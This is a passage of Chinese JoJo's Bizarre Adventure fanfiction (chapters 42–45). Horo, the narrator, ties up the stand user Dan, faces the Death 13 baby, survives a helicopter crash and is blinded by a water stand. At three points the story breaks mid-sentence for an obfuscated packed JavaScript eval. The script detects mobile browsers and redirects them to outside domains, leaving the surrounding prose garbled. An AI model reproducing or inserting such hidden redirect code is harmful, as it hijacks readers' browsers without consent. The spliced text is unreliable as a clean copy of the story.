而且这个人真的很欠揍啊!他知道我们不可能真的揍他后,竟然还带着一个贱兮兮的表情,举起一颗石头在空条承太郎面前晃:“喂,你一定很想用这颗石头来揍我吧?” 承太郎表情看上去很阴沉,如果这是一部漫画,他的脸大概可以和邪恶的犯罪嫌疑人小黑一样黑了。 而那个阿丹在看到承太郎不敢揍他后,奸笑了起来,猛地往承太郎的腰部踹了一脚,还举起石头向承太郎的背砸去,边发出“哈哈哈哈哈”的刺耳笑声,边得意洋洋地说:“喂,承太郎,少在那里装了,等乔瑟夫死了,我第一个就要来弄死你!” 乔瑟夫和花京院对视了一眼,达成了什么共识突然就跑了,而阿布德尔和波鲁纳雷夫……额他俩好像不知道乔瑟夫想干嘛,但还是跟着跑了,花京院边跑还边回头:“你们两个一定要牵制住阿丹,不要让他靠近乔瑟夫!” 我们两个……是指我和承太郎吗? 阿丹看了我眼,思考了一会,又转头看向承太郎:“他们不会是以为跑远了我的替身能力就会失效吧?呵呵,没用,我的恋人虽然力量很小,但是范围可是很广,等他们跑出了我的替身作用范围,差不多乔瑟夫那个老头子都要变成白骨了吧哈哈哈……” 承太郎没理他,站起身来拍了拍他那件被改造过的黑色校服,阿丹恼羞成怒地扯着承太郎的领子:“喂,我说忽略我很有意思吗?” 他说着猛地拿脚踹了一下石墩:“你要把我当成你的祖父一样孝敬啊,承太郎同学!要是我稍微痛一点点,你的祖父可是会痛不欲生!喂,你那眼神什么意思?!” 说完,阿丹又猛地看向我:“我的手有些酸,你过来给我按摩一下。” 我言简意赅:“爬。” 阿丹恼羞成怒,拿起一个棍子往他手上打了一下,看向承太郎:“喂,承太郎,你来。” 烦死了,这人好欠揍,纯贱啊!但我又不能直接弄死他,不然乔瑟夫就要死了! 承太郎竟然真的上手帮那个蠢货按摩了,但是眼神很吓人,如果眼神可以刀人的话,估计阿丹就要被切成生鱼片了。 那个阿丹又开始颐指气使地让承太郎给他捏捏这,捏捏那,仿佛真的把承太郎当成他恋人一样! 这还不够,他简直蹬鼻子上脸,还要搜刮承太郎身上很昂贵的奢侈品配饰等等,让承太郎用他的衣服给他擦凳子……我的妈呀,纯贱啊,这人。 眼看着那个蠢货马上要开始指使我了,我看了看周围的店铺,自告奋勇:“我去给买点冰饮吧,今天天气有点热。” 阿丹看着我,欣慰地笑了笑,从承太郎那里抽出一个钱包,拿了他钱包不说,还狠狠推了承太郎一把:“可以,用承太郎的钱去买!” 43.第 43 章 我边抛着空条承太郎的钱包,边朝便利店走去,买了两杯冰饮,几捆麻绳,一张抹布和一个凳子,然后就拖着这堆东西往回走。 我朝承太郎挥挥手:“Q太郎,先按着他。” 空条承太郎立刻懂了我的意思,按住阿丹的肩膀。 “喂!你要干什么!你信不信我现在就去撞墙!你们不管乔瑟夫的死活了吗?” 我没理阿丹,叫出约旦河,让约旦河缠住阿丹的手脚,然后掐着他脸蛋,把他嘴掰开,认真地把抹布团好塞到阿丹嘴里:“嗯……你呼吸得了吗?” 阿丹“呜呜呜”了几声,吐词并不清晰,我只好屏住呼吸认真听他的呼吸频率……有点不平稳,应该在可接受范围内,估计对应到乔瑟夫那里会有点像轻微高反。但作为一个波纹战士,他不至于连这点都挺不过去吧。 接着我飞速拿麻绳把阿丹捆了几圈,又把凳子和电线杆捆在一起。 期间有好心人试图来帮助这个贱贱的阿丹,但我一句“他是精神病人”就打发走了。还好我们是好人,阿丹是坏人。这立场要是转变一下,这个地方的人就会因为太单纯而坑死一个好人了。 在我抽出一根粗布条,正准备把他头扶正也和电线杆捆在一起时,空条承太郎突然问我:“头也要绑住?” “嗯……如果他乱动,不小心把脖子扭断了就不好了。虽然我觉得他不至于那么不惜命,但我可不敢低估他对迪奥的衷心,以防万一还是让他从上到下一点也动不了吧。” 我说着想到了里苏特,里苏特教过我不少对待人质的注意事项,虽然我只学了点皮毛,不过应该也够吧。 对不起里苏特,但你讲课真的很让人昏昏欲睡,比我高中的数学课还要催眠。 我席地而坐,拍了拍我旁边那块地,举起冰饮:“你也坐下来休息啊。” 空条承太郎接过饮料:“你从哪学的这种绑法?” “我以前在意大利当过黑手党,他们那边有的是需要套情报的对象,为了不让人质自残而亡,他们有一套独特的应对方式……” 我神情自若地说了这番话,普通人听到后可能会震惊:“什么!我身边的人竟然是黑手党?!”但空条承太郎只是点点头,然后喝了口冰饮。 阿丹试图挣扎,但是效果为零。哇,大热天喝着冰饮,看着讨厌的人吃瘪,感觉身心从内到外都透亮了呢!简直就和把迪奥拖到太阳下暴晒一样畅快! “这么绑着,老头那边不会有问题吧?”空条承太郎认真地问。 “不会有吧。就算有问题,也不会要了他半条命,顶多就是不舒服。放任这家伙自由活动才容易有更大的问题呢,万一他没有痒穴,然后拿羽毛挠脚丫子,害得乔瑟夫被痒死了怎么办?” “有道理。” “而且万一乔瑟夫和丝吉Q年轻时就玩过捆绑,他早就习惯了呢,额……总之别管那么多了!” 空条承太郎成功被我说服,皱起眉认真看着那个阿丹,露出挑衅的笑容,掏出一个很眼熟的小本本开始写写画画。 我顿时有种不好的预感:“你看着他写什么?” 他微微勾起嘴角,棱角分明的面庞上显露出一副势在必得的气场,冷笑:“记他欠我的账,我要一笔笔找他讨回来。” 不会吧不会吧,不会吧?这家伙这么记仇吗?我的妈呀闷骚啊,每天都在装酷的扑克脸默默拿小本本记仇,真的闷骚啊…… 等等,不对! 我迟疑着问:“姑且问一句,这个死亡……记仇小本本上面,没有我的名字吧?” 空条承太郎抬起头看了我一眼,不说话,只是微笑。 ……他什么意思啊喂! 喂!你说句话啊! 这个坏心眼的男高是谁啊?东方仗助口中那个沉稳大度,对他们都很有耐心的空条承太郎到底在哪里! 时间你快点改造一下这个空条承太郎啊! 面对我惊恐的眼神暗示,空条承太郎宛如瞎了般没有任何表示。 说他看不懂我的眼神暗示,我是不信的,因为我高达5.2的超清视力可以精准捕捉到:他嘴角微微上扬了一度。 而且他十几年后可是看到蕾娜塔多盯了几眼西瓜汁,就主动给她倒了一杯的男人啊! 吓我很好玩吗?可恶的臭屁男高! 你对霍洛的女儿都这么好,对霍洛也好点啊!霍洛再过几年就要死翘翘了啊!喂! 在那个替身离开乔瑟夫的大脑后,空条承太郎甚至当着我的面翻开那个死亡笔记,认真数了数一共有几条后,用他无敌的白金之星开始殴打恋人。 在白金之星中气十足的“欧拉欧拉欧拉”和阿丹此起彼伏的惨叫声里,我无心欣赏阿丹被揍得面目全非的脸,扯了扯嘴角,默默叫出约旦河,问:“如果他欧拉我,你打得过多少拳。” “你可以传送逃跑。” ……所以还是乔瑟夫的招式最管用,是么。 * 费劲千辛万苦,头顶烈日,横渡沙漠,期间顺便又干掉了一个敌人,我们终于到了酒店。 乔瑟夫说他已经在当地人那里买了一辆直升机,明天一早我们就驾驶直升机离开。 在我怀疑的目光下,这个摧毁了好几个交通工具的人信誓旦旦地说不会有问题。 呵,最好是这样。如果明天坠机害我只能露宿荒郊野外,开启荒野求生,我一定会把乔瑟夫做成BBQ的。 我生无可恋地瘫软在床上,花京院见我累坏了,主动去把窗子关好,又拉上窗帘:“累坏了吗?” “我感觉我的脑子都被烤熟了……话说小花你吃过脑花吗,你喜不喜欢?” “嗯我感觉应该不回答你这个问题比较好……我吃过,还可以。” “我感觉我现在的脑子肯定很美味。” “是吗,那你给我尝尝吧。” “等我死了你自己来挖吧。” “你怎么可能会轻易死掉呢?你不是说……” 在花京院温柔的嗓音里,我仿佛回到了院长妈妈给我念睡前故事的时候,她都讲了什么呢? 好像跟我讲了潘多拉魔盒,西西弗斯巨石,金苹果,海的女儿,追逐太阳的伊卡洛斯……还有什么呢…… 正当我做着我变身成为丘比特的美梦,在伊甸园的苹果树上拿起丘比特之箭,准备往变成牛的宙斯的屁股上扎一箭,然后再飞去地狱在牛头马面屁股上也扎一箭,促进东西方文化交流之时,我猛地被花京院的惊叫声给唤醒了! 我看了眼挂在墙壁上的钟表。 ……凌晨六点,玩我呢? 我看向一旁明显是做着噩梦,表情非常恐慌,但依然没从睡梦中醒来的花京院。 好吧,小花同学,你救了宙斯和牛头马面,但你救不了你自己。 我转身去厕所,洗了一把手,确定我的手足够冰后,站到花京院床边,面无表情地把手一插—— “嗬啊!” 花京院,苏醒。 我呵呵笑了几声:“你醒了,现在是凌晨六点半,你毁了我的丘比特美梦。” “什么丘比特美梦……等等,我,我好像……做了一个噩梦,但我不记得……”花京院非常迷茫地抓了抓他那撮刘海。 “记不得梦很正常,我就没记得住几个梦过,既然醒了就别睡了,和我去觅食吧。” “霍洛,你之前做的那个噩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15384920|165982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梦是什么……”花京院试图问我。 我:“梦到了一个性骚扰过我的变态。怎么,你也是?” “没有,我只是……”花京院再次陷入了沉思,配上他秀丽的脸,这让他看上去更像个忧郁美男子了。 不过忧郁美男子还是没有我的美味早餐重要! * “这是什么。” 我看着面前的那坨泥,很认真地问阿布德尔。 阿布德尔为我科普:“这是鹰嘴豆泥,蚕豆酱,鸡蛋,西红柿,奶酪……你可以把它们放在饼上吃。” “有面包吗,我感觉那些酱和泥看着很倒胃口。” “来都来阿拉伯地区了,尝尝吧!”阿布德尔说着帮我制作了一份“埃及火焰鸟版沙特阿拉伯卷饼”。 在阿布德尔耿直热情的眼神里,我闭上眼尝了一口:“哇出乎预料的不错!” “小花你也来口。”我递给花京院,花京院这才回过神,我看向他刚刚发呆的地方:“你看那条死了的狗干什么?” 花京院低声说:“我有点在意……” 我警觉地眯起眼睛,观察了一下狗的尸体,死得很奇怪,脖子上有着一道又长又深的刀痕,首先排除是普通人干的,倒像是我这种人能干出来的。 “是有点奇怪。”我跟花京院说,“按规律来说,我们现在也该遇到下一个敌人了。” 花京院正准备再和我说些什么,突然一声婴儿的啼哭打断了我们,我看向正在和原住民交涉的乔瑟夫:“发生什么了?” “他们突然不卖了。”乔瑟夫头疼地说,“这个婴儿生病了,需要去大医院,他们要用直升机。” 小婴儿……我想到了我之前碰到的小孩子初流乃,推了推婴儿篮:“你叫什么名字。” 有着丰富带娃经验的乔瑟夫立刻说:“这个年纪的小孩子还不太会说话吧!” 我看着那个婴儿傻乎乎的脸蛋,头都大了。 果然初流乃那种省事乖巧的小孩是少数吗,这是正常的小孩子啊……烦。 首先,我不是歧视。但是我平等讨厌每个很麻烦的人,而绝大部分婴儿都等于大麻烦。小时候我在孤儿院被迫要带比我年纪小的孩子,把我烦透了! 还好我当时往他们的饭里倒辣椒油,把他们辣哭后,伪装出“我嫉妒小宝宝有更多人喜欢,我缺爱了”的模样,特别善良好心眼单纯的院长妈妈就没逼着我陪他们玩了。她甚至还会在晚上给我倒热牛奶,念很多让我困得不行的睡前故事,反复说“蕾娜塔你是被爱着的哦”。 偶尔也会有几个小屁孩想找我玩,一般来说我把他们全部推到土坑里去,让他们狠狠摔个狗吃屎,他们就不会烦我了。 布加拉提是个例外,他是唯一一个被我狠狠欺负过几遍还要跟着我玩的……他怎么忍下来的,连我自己都受不了小时候的我。他是m吗。 综上所述:我讨厌小孩子,从我还是个小孩时就讨厌了! 原住民摇摇头:“或者你们等到明天傍晚,我们先送婴儿去……” “明晚?我们这边可是人命相关的紧急大事啊!” “难道你要对这个婴儿见死不救嘛!” 乔瑟夫被噎住了,于是我很善良地开口,为他提供正确答案:“亲生女儿和素不相识的小宝宝相比,肯定是亲生女儿的命更重要吧。” 乔瑟夫瞪圆了眼睛看向我,一旁抱着小宝宝的妇女突然说:“或者你们可以把这个孩子带到医生那去……” “不对吧。” 不顾周围人的眼神,我眉毛一横,不爽地看着这里的原住民,“你们就这么把孩子交给陌生人是要干嘛?不怕我们反手就把这孩子卖了吗?” 44.第 44 章 “真是的,我都和他们说了会很危险,他们还非要我们带上这个小孩子。”乔瑟夫边系安全带,边嘀嘀咕咕。 他看了眼后排磨牙怒瞪小婴儿的红毛青年,咳了一声:“好了,霍洛,你别把气撒在一个小婴儿身上,讲道理讲不过别人……咳咳,我什么也没说。” 我收回对乔瑟夫的眼刀,转头开始打量这个小婴儿:“这孩子长的也太丑了吧。” “人家还没长开。” “少来,我看我婴儿时期的照片还是那么可爱。” “噗哈哈哈哈可爱,你吗?哈哈哈哈。” 乔瑟夫你对妮可不是这么说话的,呵呵,你等着吧,等我回去了我就来拔你氧气管。 我冷笑一声,乔瑟夫吹了几声口哨假装无事发生。我转头看向一旁面色不好的花京院:“你看上去不太舒服,是不是没睡够啊,要不你睡会?我帮你看着婴儿。” 花京院点点头:“那就拜托你了。”然后微微侧头,靠着坐垫熟睡过去了。 眼见美人入眠,我反手把婴儿篮甩给波鲁纳雷夫:“你带。” 波鲁纳雷夫震惊地看着我:“你怎么不问我想不想睡觉?” “……你想睡觉吗?” “想啊。” “那你睡吧。”我咬牙切齿地再次把婴儿篮放到我面前,看了眼剩下的人,阿布德尔和乔瑟夫在第一排,乔瑟夫本来就容易出交通事故了,肯定不能给他们。 至于空条承太郎…… 我的脑子里闪过了迄今为止和空条承太郎相处的所有画面,得出一个结论:他肯定不会照顾人。 “切。” 我只好开始轻轻晃着婴儿摇篮。 乔瑟夫哈哈大笑:“你嘴上说着讨厌小孩子,结果还是很喜欢哄孩子嘛!” “啧,我不喜欢,但我又不是会放着病重的小孩不管的魔鬼,何况你开的直升飞机一点也不平稳,万一他晕机了怎么办?” “老夫的驾驶技术还是很好的!” 阿布德尔回头:“但是你之前还说别管这个孩子的死活。” “额如果要从荷莉和这个婴儿里选一个,我肯定选荷莉啊。在这种事情上必须要有迅速的取舍,否则两个都没法活,我可不认为我当时的想法违背了道德准则。” 我话音一落,花京院突然朝我脸上来了一拳,吓得我立刻俯下身子:“喂,典明酱你在干嘛!喝假酒了吗!” “典明酱又是什么。” “先控制住花京院啊,飞机要坠机了!” “我还得护着这个婴儿,我怎么拦!空条承太郎来拦啊!” “真是够了。” “先说好,坠机不是我的问题啊……” “你快点拉操纵杆!” 我眼见着飞机即将以垂直于地面的角度坠机,将婴儿夹在胳膊下,另一只手疯狂抓着乔瑟夫的头发:“我绝对不要以这样的方式死掉!” 承太郎立刻来掰我的手:“别抓着老头不放,让他好好驾驶!” “等等!我的紫色隐者!我的紫色隐者可以——”乔瑟夫说着,他的紫色隐者就进入了飞机开始控制内部系统,飞机开始缓慢平行于地面飞行。 我松了口气,松开抓着乔瑟夫头发的手,就听到乔瑟夫说:“看吧!完全没问题!我的驾驶技术果然——” “乔瑟夫你个混蛋看前面啊!” “ohno!为什么这个地方会有椰子树!” “哐当!” 天杀的乔瑟夫,你一定是所有JOJO里最会坑我的那个! * 飞机坠毁,彻底没救了。我们只能临时在这个荒郊野外驻扎。 空条承太郎赶在我准备把乔瑟夫绑起来烤了之前,发现飞机里还有无线电,寻求了支援。 虽然这可能会暴露我们的踪迹,但坦白来说我们这一路掩藏踪迹根本没有任何用。迪奥的部下就跟蟑螂一样,发现了一只就有一堆涌了过来。 我在这个世界度过的两年还没有这短短一个月精彩!谁敢想啊,这段时间的经历丰富得我都要以为蕾娜塔是我的前世了! 看着花京院在那里捏眉心,一副惊魂未定的模样,漂亮的紫眼睛里充满了迷茫。 我凑过去:“你刚刚为什么会在飞机上突然开始打醉拳,我听承太郎说过,你之前睡觉很安分的。为什么我一跟你做室友你就这样。你是不是对我有意见,嗯?你说话啊。” “不,我不是……我只是……嘶”花京院深吸一口,捂住他的袖子。 我立刻发现他的袖子上有一块深色痕迹,像是被不明液体浸染过一样,没问他就直接上手扒拉开他的袖子…… “!这是什么?” 只见花京院的胳膊上面竟然有着一道疤痕,刻着“Baby stand”,简直就跟那种为了追某种潮流拿刀子在自身上刻字的非主流一模一样啊!难道说,花京院其实是—— 不对!脑子!你想偏了!这一看就知道: “那个婴儿有鬼。”我很肯定地说,“这个不可能是你刻着玩的吧。” 花京院被我面色不善的表情给吓住了,但他很快速地说:“肯定不是!这个伤口是突然出现在我的手臂上的,但是那个婴儿万一……” “哼。没有什么万一,只有一万。”我冷笑,“敢玩我。他死定了。” 我说着一个扭头看向那个婴儿,缓缓移步到他旁边,蹲下来看着他:“喂,我说,你听得懂我说话吧。” 婴儿朝我露出了一个傻兮兮的笑容。这个小宝宝的无辜笑容在我眼里已经化为了深深的嘲讽。 我立刻叫出约旦河出拳,在约旦河的拳头离那个小婴儿连十厘米都没有时,那个小婴儿的瞳孔骤然紧缩了一秒。 我立刻嘶声道:“你看到了。你也是替身使者!” 婴儿见被拆穿也不恼:“啦哩吼!我就是拥有【死神】暗示的替身使者!迪奥大人的……” “我懒得听你说了,敢玩我,去死吧。” “等等!”花京院突然出声。 我立刻收回拳,不满地看着他:“你知道,我现在只是打算揍飞他。要是我之前的同伴说不定会把他丢到热油里去滚个几圈。” 花京院很冷静地说:“但是你现在和我们是同伴,不是么?他还是个婴儿,暂时也没有伤害我们过,打死他并不好。” 他转头看向那个被吓得不敢动的小宝宝,“他已经被吓住了,应该也不会敢动手脚了吧……不过,还是得给他一点点小小的警告。” 我没懂花京院嘴里说的警告是什么意思。乔瑟夫他们回来了,我也没机会杀死那个小婴儿了,我只是狠狠剜了一眼小婴儿,在他耳边嘀咕:“我会一直盯着你的。” 那婴儿被我吓尿了。yue。 然后没过一会,我就知道花京院口中的警告是什么意思了。 花京院笑眯眯地从乔瑟夫手里接过乔斯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15388318|165982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 达家精心制作的婴儿辅食,然后转身就在那个小宝宝的粪便里挖了一勺,和婴儿辅食混在一起。 在婴儿的惊恐眼神中,那碗白白的糊状辅食逐渐染上了些许巧克力色,乔瑟夫接过去时还很不解地问:“怎么感觉颜色有点黄。” “或许是氧化了吧,氧化就是……” “哎!老夫毕业很久了,搞不懂这些,嘛总之来吧,这可是我们家的祖传配方哦……霍洛你怎么一直盯着我,先说好,没有你的份,这些全部是要给小宝宝吃的。” “……我不想吃。” 我心情复杂地看着面露愉悦的花京院,默默心想:不愧是爱玩阴招的日本人。 等到要入睡时,花京院在我身旁躺下,不解地问:“你不睡吗?” “这家伙的替身和梦有关吧,呵呵呵,把他送走前,我绝对不会睡觉的。”我冷笑着眼睛死死地钉在婴儿身上。 “放心,我答应了你,不会随便杀死他的。你安心睡吧。如果出事了,我会把你们弄醒的。” 花京院朝我微微一笑:“有你在真安心,那我睡了。” “嗯嗯嗯。我知道,我就是这么靠谱。” 等其他人睡着后,我看那个小婴儿快要招架不住和我的对视,眼皮子也准备垂下来,很不爽地走过去,掐了他一把:“喂,我还没睡呢。你就和我一起睁着眼迎接天亮吧。” 婴儿看了看我,哇地哭了出来,我立刻往他嘴里塞了一双不知道是谁的袜子。 耳根清净了,真好啊。我看着噼里啪啦的篝火,开始思考一些之前来不及思考的事情。 我不知道霍洛的人生究竟是何时何地结束的,也没来得及从十几年后的波鲁纳雷夫那里得到情报,但可以肯定:这一次,我是自杀身亡的。 可我为什么会自杀? 唯一可以确定的是,我们这一行人应该在埃及沙漠拍过一张相片,在那之前我都是活着的。难道是后面会出现的一个替身使者的能力? 还是说,我自杀其实只是因为我知道“霍洛是自杀而亡”…… 算了,想不明白的事情就不要想了。这些是未来的我需要考虑的。 我环视周围熟睡的众人,目光短暂在乔瑟夫斑白的鬓角上停留了片刻,然后又迅速收回了眼神。 不知道为什么,我的脑子中突然闪过了约旦河所说的“逆转生死状态是大忌,除非是活在永恒中的生命体……” 我长久地凝视着跳跃的火焰,试图在里面捕捉到我的影子,在婴儿含糊而让人心情愉悦的呜呜声,和篝火的噼里啪啦声里,静静地等待着太阳的再次升起。 * 救援队带走了婴儿。我在那婴儿被抱走前,抓紧时间在他面前露出了一个堪比裂口女的诡异笑容,确保我会成为他的童年阴影后,才放他离开了。 唉,以前我也这么吓过布加拉提的,我当时装备还很齐全,拿果酱在我的脸上给自己开了个大大的嘴角,但是他完全没被我吓到,还帮我舔干净……等等,布加拉提有这么怪吗。 “你真的不需要再睡一觉吗?”乔瑟夫开着吉普车这么问我。 我摇摇头:“不过是一个通宵,我熬过更长的……话说我们是要去码头然后坐船去埃及吧?” “嗯……”乔瑟夫含糊不清地回答我,“到了再说吧,我怕泄露行踪。” ……还需要泄露吗。就算我们现在遁地而行,也会有会遁地的迪奥的部下来找我们麻烦吧。 45.嘀,瞎子体验卡 事实证明,我的直觉完全没有问题!就算我们隐藏踪迹,迪奥的替身使者还不是会找上门来! 波鲁纳雷夫和阿布德尔在上厕所的时候又遭遇了一个替身使者的袭击,据说那个替身使者打着“可以实现人的愿望”的名头来忽悠他们。不知道他们许了什么愿望,波鲁纳雷夫死活不告诉我。 我遗憾地叹了口气:“早知道我也去了,我有超级多的愿望想实现啊!” “你不能和我们一起上厕所吧!”波鲁纳雷夫突然大叫。 在花京院和乔瑟夫的疑惑的眼神中,我朝波鲁纳雷夫比了一个切脖子的动作。 然后我们在乘坐游艇准备去埃及时,因为是乔瑟夫开船的缘故(虽然他打死不承认是他的问题)船翻了。 对这个不知道是第几个死于乔瑟夫之手的交通工具,我的内心已然一片平静。 “既然都释然了,就不要掐着我脖子不放啊!你这孩子,怎么一点也不尊老爱幼!” “好了,也不完全是乔瑟夫的问题啊。”波鲁纳雷夫过来缓和气氛,“谁能想到【女教皇】会潜伏在船舱里……” 我松开了掐住乔瑟夫脖子的手,打断波鲁纳雷夫的战后结算:“接下来是不是又要买新的车子,我看地图上的标注这里离下一片城镇隔着一大片沙漠呢。” “是的,你们去选一辆吧。我要先给丝吉Q打个电话。”乔瑟夫看向空条承太郎,“承太郎你和我一起吧,或许丝吉婆婆会想跟你说话。” 丝吉Q竟然真的和乔瑟夫结婚了啊,我听到故友的名字有些恍惚,突然想到了西撒,按年龄来说西撒也是个老头子了啊,他应该没死吧…… 虽然我很好奇西撒现在的情况,但是我不可能主动跟乔瑟夫提起西撒,他太敏锐了,说不定我提一嘴,他就会猜到我和妮可的关系。 万一他抱着我痛哭流涕,这我可遭不住啊!我还是比较喜欢他贱兮兮的样子。 我摊摊手:“接下来的路我开车好不好,我想快点去开罗。” “不行!” 被狠狠拒绝后我的心情非常不佳,把选车权交给了波鲁纳雷夫和阿布德尔。然后跑到了一边去买了根冰淇淋吃。 花京院也跟着我一起吃冰淇淋,他突然问我:“霍洛你旅行结束后要去哪呢?” “额没想好。” 按一般规律来说,宿命之战结束了,我差不多也可以回自己的时空了吧。到时候,霍洛这个身份就彻底死翘翘了。 想到这,我心里燃起了点恶趣味,转过头看着花京院坏笑一下:“说不定我会在空条承太郎打死迪奥前就死掉哦。” “那不会吧,你要是发现情况不对就会立刻跑掉,怎么可能轻易死掉呢。” “哇,原来我在你眼里是这样的吗?哈哈哈哈,不过小花你回去后想做什么呢,你好像快毕业了吧。” “我也不知道。”花京院说,“我没有特别想要过的人生,如果可以的话,我希望能够和大家做一辈子的朋友,这样就够了。” “我们才认识了几十天吧!” “嗯……确实时间很短呢,但这是我十七年人生里第一次感到不孤独。” “孤独?可是花京院,你长得很漂亮,脾气也很好,很少有人会不喜欢你吧。” “可是在我的心里,他们都不是真正的同伴。我无法走进他们的世界,他们也无法走进我的世界。”花京院说着,他的绿色法皇出现在了我的眼前,绿色法皇碰了碰我的耳垂上的耳钉,“霍洛你想要一个新的耳钉吗?” 我沉默着盯着花京院,良久我才说:“等这次旅途结束后……我们再次相遇的那一天吧,作为久别重逢的礼物。” “久别重逢?你之后不打算和我们再见面了吗?我都计划好了要带你去玩卡丁车的。” “……也不是,时机到了你就知道了。”我含糊地说,然后指着他的手:“花京院,冰淇淋要融化了哦。” “啊!我的衣服!” * 车在沙漠行驶了没多久,乔瑟夫就突然叫停了,我被花京院摇醒,揉着眼睛问乔瑟夫:“怎么突然停下来了?” 乔瑟夫说:“接下来会有位新的替身使者加入我们,拥有【愚者】牌的暗示……” 所以到底为什么十几年前的替身使者有塔罗牌这种暗示啊?而且这个替身使者怎么还是一只狗,还是个喜欢扯头发,往人脸上放屁的狗啊! 花京院也很惊讶:“原来替身使者里还有动物吗?” “有的,有的。我遇到过一只乌龟也是替身使者哦。” 等等,这么说起来,该不会迪奥那里也有一个动物替身使者吧!千万不要是那种特别恶心的动物啊,比如蛆什么的,我会立刻投降认输的! 我看着被这只叫做伊奇的狗欺负的波鲁纳雷夫,默默往空条承太郎的身后躲了躲,在空条承太郎的扫视下,理直气壮地说:“我不想闻狗屁,你帮我吸走点。” 空条承太郎刚准备怼我几句话,乔瑟夫就招呼我们:“喂!你们几个来拍张照吧!” !终于到了! 我兴奋地跑到和我身高差不多的花京院旁边,比了个剪刀手,露出标准的八颗牙齿微笑。 波鲁纳雷夫回头看了我一眼:“你的姿势也太老土了吧,学着点!” 然后他让乔瑟夫把他的头放在他的手掌心……呵呵,别的不说,这个姿势在我那个年代是情侣爱用的拍照姿势。 乔瑟夫把相片给我后,我仔细看着照片里那个红发青年,和记忆里那张相片没有任何区别。 哇,这就是1999年的我会得到的那张相片吗。说起来我当时还骂我自己是个渣爹呢…… 啊不对,1999年的我会得到的那张相片是承太郎手里的那张。 我看向嘴角带着笑看着手里的相片的空条承太郎:“你很喜欢这张相片?” “这是个好的纪念品。”他没有正面回答我,闷骚。 “那你给我吧。我感觉你那张更好看。” “你那里不是有一张吗。”空条承太郎警戒地看着我,似乎在防着我干点坏事。 哎哟,我们之间的友谊与信任呢! 其实我根本没有想干坏事的想法。我只是单纯想到不管他有多喜欢,后面这张相片还是要到我手里,就很想笑。 嘻嘻。 我耸耸肩:“Q太郎,我好歹比你大几岁,不要这样对待我嘛!我也算是长辈唉!” 空条承太郎不说话,但他也没掏出他的死亡笔记写我名字。 怎么我之前说他扑克脸就要被记上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15399387|165982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 名单,现在倚老卖老强拿辈分说事,他又不把我记上名单了。 搞不懂闷骚的世界。 正当我这么想着时,准备上直升机的两位驾驶员突然发出了一声惨叫,我回头一看就发现那两位驾驶员被一个一闪而过的亮晶晶的东西剥下了脸皮!然后它朝着花京院跑过去了—— 我立刻一个猛扑,扑倒了花京院,让花京院躲过了那坨东西的攻击,定睛一看,忍不住惊叫:“我滴妈呀,水成精杀人了!” 我话音一落,那坨东西就突然朝我袭来,它的速度太快了,约旦河竟然都赶不上,那坨水凝缩成一只爪子,然后猛地朝我脸上来了一击! 我在花京院震惊的目光里缓缓倒下,迷迷糊糊地想:这不会就是波鲁纳雷夫说的死于自杀吧,这能叫自杀吗?这不是白给吗。 …… 我当然没死。 但我瞎了。额应该是暂时瞎了。 空条承太郎告诉我,那个替身使者是个瞎子,看不见东西,包括他的替身都是靠声音辨别方向的。 他话里的意思很明显。 不就是在说我太大声了然后吸引了火力吗!那我能有什么办法?谁看到水成精也会惊呼啊! 乔瑟夫知道我很想揍飞迪奥。虽然他不知道我为什么对迪奥有执念,但这不妨碍他安慰我:“没事,医生说了,你这个伤口过个几天就好了。你到时候飙车一下子不就追上我们了吗?” “……哦。那你们先走吧。如果你们找到了迪奥时我还没过来,那就不要等我了,额如果乔瑟夫能够用念写帮我远程直播……好了嘛!我知道这个要求很无理取闹了!你们加油吧,没我在也不许死翘翘。” 我突然听到耳边一个轻笑声,正当我思考这是谁的声音时,一双温暖的手拍了拍我的肩膀:“放心,如果你没来,我会帮你狠狠痛扁迪奥一顿的。” “……呜呜Q太郎你真好,我再也不说你是闷骚扑克脸一天到晚只知道装酷的臭屁男高了。你真好。” “你故意这么说的吧!” 乔瑟夫他们没多停留就走了,我第一次眼瞎,也不知道该干啥,就打开电视听个新闻的声音,期间偶尔有医生来帮我查看伤口,换药什么的…… 我痛得嗷嗷叫之后就发呆,一直发呆到我脑子浑浑噩噩时,我大概知道了,现在是晚上,我可以睡觉了。 正当我拉开被子准备入睡时,“嘎吱”一声,门被推开了。 紧接着我的耳边那些声音突然消失不见。轻微的风声,细碎的交谈声,虫子的吱吱声,鸟儿的喳喳声……一切的声音,甚至包括我的心跳声,都跟被吞噬了一样,四周变得安静无比。 然后—— “哒。哒。哒。” 我看不见,但我能够感受到,有一个人在逐渐走过来。 “哒。哒。哒。” 那人站到了我的身后。突然,我听到了我的呼吸声还有心跳声,但四周依然是一片死寂。 